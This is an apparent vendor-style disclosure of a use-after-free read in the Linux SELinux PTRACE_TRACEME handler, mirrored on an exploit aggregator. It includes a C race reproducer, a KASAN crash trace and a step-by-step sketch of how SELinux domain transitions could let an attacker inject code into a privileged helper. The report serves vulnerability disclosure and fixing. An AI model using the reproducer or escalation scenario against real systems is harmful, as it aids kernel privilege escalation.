Share
## https://sploitus.com/exploit?id=PACKETSTORM:164662
Linux: UAF read in SELinux handler for PTRACE_TRACEME  
  
There's a UAF read in the SELinux handler for PTRACE_TRACEME, selinux_ptrace_traceme().  
The bug was introduced in commit eb1231f73c4d7 (\"selinux: clarify task subjective and objective credentials\").  
  
Part of the issue is that while the \"cred\" member of \"task_struct\" has an \"__rcu\" annotation on it, it does not actually have RCU protection at all, as documented in access_override_creds(). Someone should probably remove that annotation and put a big comment there instead...  
  
At a higher level, accessing the \"subjective credentials\" of another task also doesn't make sense conceptually - the \"subjective credentials\" are designed to be temporarily overridden with credentials that are potentially of a much higher privilege level than the associated process, as a mechanism to essentially delegate privileges for specific actions. See e.g. ovl_override_creds(), which is used when accessing files inside an overlayfs to temporarily override the caller's credentials with the credentials of the process that mounted the filesystem. The ability of a process to use PTRACE_TRACEME probably shouldn't be controlled by whether its parent is currently opening an overlayfs file.  
  
There was a similar bug a few years back, except that it wasn't inside SELinux:  
bug report: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903  
fix: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6994eefb0053799d2e07cd140df6c2ea106c41ee  
  
I'm not sure what the best way would be to fit this inside the SELinux security model at all. The current check basically pretends that the parent called PTRACE_ATTACH, but fundamentally I think it's very questionable to have a \"subject\" that is not actively involved and an \"object\" that requested the action? In the bug mentioned above, this confusion of subject and object kinda led to an exploitable user->root privilege escalation vulnerability. SELinux probably has similar issues, depending on SELinux policy and the behavior of programs in highly-privileged domains.  
  
Also noteworthy to me seems that PROCESS__PTRACE is only checked on:  
  
- __ptrace_may_access()  
- checked on PTRACE_ATTACH / PTRACE_SEIZE  
- checked on ptrace_may_access()  
- TRACEME  
- tracee execve() with domain transition  
- tracee dynamic domain transition  
  
but not when *the ptrace-parent* transitions.  
  
From what I can tell, this probably makes the following scenario possible, given a SELinux policy with the following domains (again, this is very similar to the previously reported bug, just with SELinux domains instead of UIDs/capabilities):  
  
- untrusted  
- attacker starts here  
- not allowed to ptrace  
- allowed to exec-transition to trusted_helper)  
- trusted_helper  
- entry point /bin/trusted_helper  
- privileged domain  
- allowed to ptrace everything  
- allowed to dyntransition anywhere  
  
where /bin/trusted_helper is the compiled form of something like this:  
  
int main(int argc, char **argv) {  
char *con;  
if (getprevcon(&con))  
return 1;  
if (setcon(con))  
return 1;  
// we're back in the previous domain  
execl(argv[1], argv+1);  
return 1;  
}  
  
The attacker starts from process \"attackerA\".  
  
attackerA[domain=untrusted]: fork(), creating process attackerB  
attackerA[domain=untrusted]: executes /bin/trusted_helper <path to attacker-controlled binary>  
attackerB[domain=untrusted]: calls PTRACE_TRACEME, which checks against subject=attackerA[domain=trusted_helper] object=attackerB[domain=untrusted] => success  
attackerA[domain=trusted_helper]: switches back to domain=untrusted  
attackerA[domain=untrusted]: executes some attacker-controlled binary  
attackerA[domain=untrusted]: uses ptrace to continue execution until next execve is done  
attackerB[domain=untrusted]: executes /bin_trusted_helper  
attackerB[domain=trusted_helper]: stops execution due to ptrace  
attackerA[domain=untrusted]: uses ptrace to inject code into trusted_helper  
  
(Note that this would probably still work without the PTRACEME bug if the \"untrusted\" domain had the ability to ptrace itself.)  
  
  
Reproducer for the UAF read (note: tested on a system without Yama LSM):  
  
=====================  
#define _GNU_SOURCE  
#include <signal.h>  
#include <unistd.h>  
#include <err.h>  
#include <sys/ptrace.h>  
#include <sys/wait.h>  
  
void child_fn(void) {  
usleep(100);  
ptrace(PTRACE_TRACEME, 0, NULL, NULL);  
_exit(0);  
}  
  
// highly bogus code, a decent chunk of this function technically  
// isn't signal-safe  
void handle_sigchld(int sig, siginfo_t *info, void *uctx_) {  
int wstatus;  
again:;  
pid_t child = waitpid(-1, &wstatus, WNOHANG);  
if (child == -1)  
return;  
if (WIFSTOPPED(wstatus))  
goto again;  
pid_t new_child = fork();  
if (new_child == -1)  
err(1, \"bad fork\");  
if (new_child == 0)  
child_fn();  
}  
  
int main(void) {  
sync();  
struct sigaction act = {  
.sa_sigaction = handle_sigchld,  
.sa_flags = SA_SIGINFO  
};  
if (sigaction(SIGCHLD, &act, NULL))  
err(1, \"sigaction\");  
pid_t child = fork();  
if (child == -1) err(1, \"fork\");  
if (child == 0)  
child_fn();  
  
while (1)  
access(\"/\", R_OK);  
}  
=====================  
  
ASAN trace:  
=====================  
[ 200.702946] ==================================================================  
[ 200.704331] BUG: KASAN: use-after-free in selinux_ptrace_traceme (security/selinux/hooks.c:229 security/selinux/hooks.c:240 security/selinux/hooks.c:2159)   
[ 200.705606] Read of size 4 at addr ffff88800b82e9e4 by task traceme-collide/17218  
  
[ 200.707181] CPU: 3 PID: 17218 Comm: traceme-collide Not tainted 5.15.0-rc2-00008-g4c17ca27923c #844  
[ 200.708538] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014  
[ 200.709670] Call Trace:  
[ 200.710014] dump_stack_lvl (lib/dump_stack.c:107 (discriminator 1))   
[ 200.710610] print_address_description.constprop.0 (mm/kasan/report.c:257)   
[ 200.711410] ? selinux_ptrace_traceme (security/selinux/hooks.c:229 security/selinux/hooks.c:240 security/selinux/hooks.c:2159)   
[ 200.712150] ? selinux_ptrace_traceme (security/selinux/hooks.c:229 security/selinux/hooks.c:240 security/selinux/hooks.c:2159)   
[ 200.713040] kasan_report.cold (mm/kasan/report.c:443 mm/kasan/report.c:459)   
[ 200.715245] ? do_raw_read_unlock (kernel/locking/spinlock_debug.c:147 kernel/locking/spinlock_debug.c:179)   
[ 200.715838] ? selinux_ptrace_traceme (security/selinux/hooks.c:229 security/selinux/hooks.c:240 security/selinux/hooks.c:2159)   
[ 200.716541] selinux_ptrace_traceme (security/selinux/hooks.c:229 security/selinux/hooks.c:240 security/selinux/hooks.c:2159)   
[ 200.717202] security_ptrace_traceme (security/security.c:780 (discriminator 19))   
[ 200.717855] ptrace_traceme (kernel/ptrace.c:491)   
[ 200.718454] __x64_sys_ptrace (kernel/ptrace.c:1277)   
[ 200.719160] do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80)   
[ 200.719677] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:113)   
[ 200.720417] RIP: 0033:0x7a0ff9c3b92f  
[ 200.720902] Code: c7 44 24 10 18 00 00 00 48 89 44 24 18 48 8d 44 24 30 8b 70 08 48 8b 50 10 4c 0f 43 50 18 48 89 44 24 20 b8 65 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 41 48 85 c0 78 06 41 83 f8 02 76 1e 48 8b 4c  
All code  
========  
0: c7 44 24 10 18 00 00 movl $0x18,0x10(%rsp)  
7: 00   
8: 48 89 44 24 18 mov %rax,0x18(%rsp)  
d: 48 8d 44 24 30 lea 0x30(%rsp),%rax  
12: 8b 70 08 mov 0x8(%rax),%esi  
15: 48 8b 50 10 mov 0x10(%rax),%rdx  
19: 4c 0f 43 50 18 cmovae 0x18(%rax),%r10  
1e: 48 89 44 24 20 mov %rax,0x20(%rsp)  
23: b8 65 00 00 00 mov $0x65,%eax  
28: 0f 05 syscall   
2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction  
30: 77 41 ja 0x73  
32: 48 85 c0 test %rax,%rax  
35: 78 06 js 0x3d  
37: 41 83 f8 02 cmp $0x2,%r8d  
3b: 76 1e jbe 0x5b  
3d: 48 rex.W  
3e: 8b .byte 0x8b  
3f: 4c rex.WR  
  
Code starting with the faulting instruction  
===========================================  
0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax  
6: 77 41 ja 0x49  
8: 48 85 c0 test %rax,%rax  
b: 78 06 js 0x13  
d: 41 83 f8 02 cmp $0x2,%r8d  
11: 76 1e jbe 0x31  
13: 48 rex.W  
14: 8b .byte 0x8b  
15: 4c rex.WR  
[ 200.723583] RSP: 002b:00007ffec93fc480 EFLAGS: 00000286 ORIG_RAX: 0000000000000065  
[ 200.724663] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007a0ff9c3b92f  
[ 200.725622] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000  
[ 200.726660] RBP: 00007ffec93fc4f0 R08: 00000000ffffffff R09: 00007a0ff9d0c500  
[ 200.727667] R10: 0000000000000000 R11: 0000000000000286 R12: 000056e648f910d0  
[ 200.728721] R13: 00007ffec93fcd60 R14: 0000000000000000 R15: 0000000000000000  
  
[ 200.731636] Allocated by task 575:  
[ 200.732117] kasan_save_stack (mm/kasan/common.c:38)   
[ 200.732663] __kasan_kmalloc (mm/kasan/common.c:46 mm/kasan/common.c:434 mm/kasan/common.c:513 mm/kasan/common.c:522)   
[ 200.733182] security_prepare_creds (security/security.c:537 security/security.c:1691)   
[ 200.733809] prepare_creds (kernel/cred.c:293)   
[ 200.734314] do_faccessat (fs/open.c:351 fs/open.c:415)   
[ 200.734855] do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80)   
[ 200.735354] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:113)   
  
[ 200.736272] Freed by task 575:  
[ 200.736693] kasan_save_stack (mm/kasan/common.c:38)   
[ 200.737229] kasan_set_track (mm/kasan/common.c:46)   
[ 200.737768] kasan_set_free_info (mm/kasan/generic.c:362)   
[ 200.738337] __kasan_slab_free (mm/kasan/common.c:368 mm/kasan/common.c:328 mm/kasan/common.c:374)   
[ 200.738921] kfree (mm/slub.c:1725 mm/slub.c:3483 mm/slub.c:4543)   
[ 200.739338] security_cred_free (security/security.c:1686 (discriminator 18))   
[ 200.740065] put_cred_rcu (kernel/cred.c:116)   
[ 200.740560] do_faccessat (fs/open.c:396)   
[ 200.741107] do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80)   
[ 200.741584] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:113)   
  
[ 200.742472] The buggy address belongs to the object at ffff88800b82e9e0  
which belongs to the cache kmalloc-32 of size 32  
[ 200.744105] The buggy address is located 4 bytes inside of  
32-byte region [ffff88800b82e9e0, ffff88800b82ea00)  
[ 200.745643] The buggy address belongs to the page:  
[ 200.746338] page:ffffea00002e0b80 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0xb82e  
[ 200.747639] head:ffffea00002e0b80 order:1 compound_mapcount:0  
[ 200.748409] flags: 0x4000000000010200(slab|head|zone=1)  
[ 200.749106] raw: 4000000000010200 ffffea000045e488 ffffea0000251a08 ffff888005c4ca40  
[ 200.750385] raw: 0000000000000000 0000000000130013 00000001ffffffff 0000000000000000  
[ 200.751486] page dumped because: kasan: bad access detected  
  
[ 200.752479] Memory state around the buggy address:  
[ 200.753133] ffff88800b82e880: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc  
[ 200.754190] ffff88800b82e900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc  
[ 200.755170] >ffff88800b82e980: fc fc fc fc fc fc fc fc fc fc fc fc fa fb fb fb  
[ 200.756132] ^  
[ 200.756970] ffff88800b82ea00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc  
[ 200.757925] ffff88800b82ea80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc  
[ 200.758892] ==================================================================  
=====================  
  
This bug is subject to a 90-day disclosure deadline. If a fix for this  
issue is made available to users before the end of the 90-day deadline,  
this bug report will become public 30 days after the fix was made  
available. Otherwise, this bug report will become public at the deadline.  
The scheduled deadline is 2021-12-20.  
  
  
  
  
  
Found by: jannh@google.com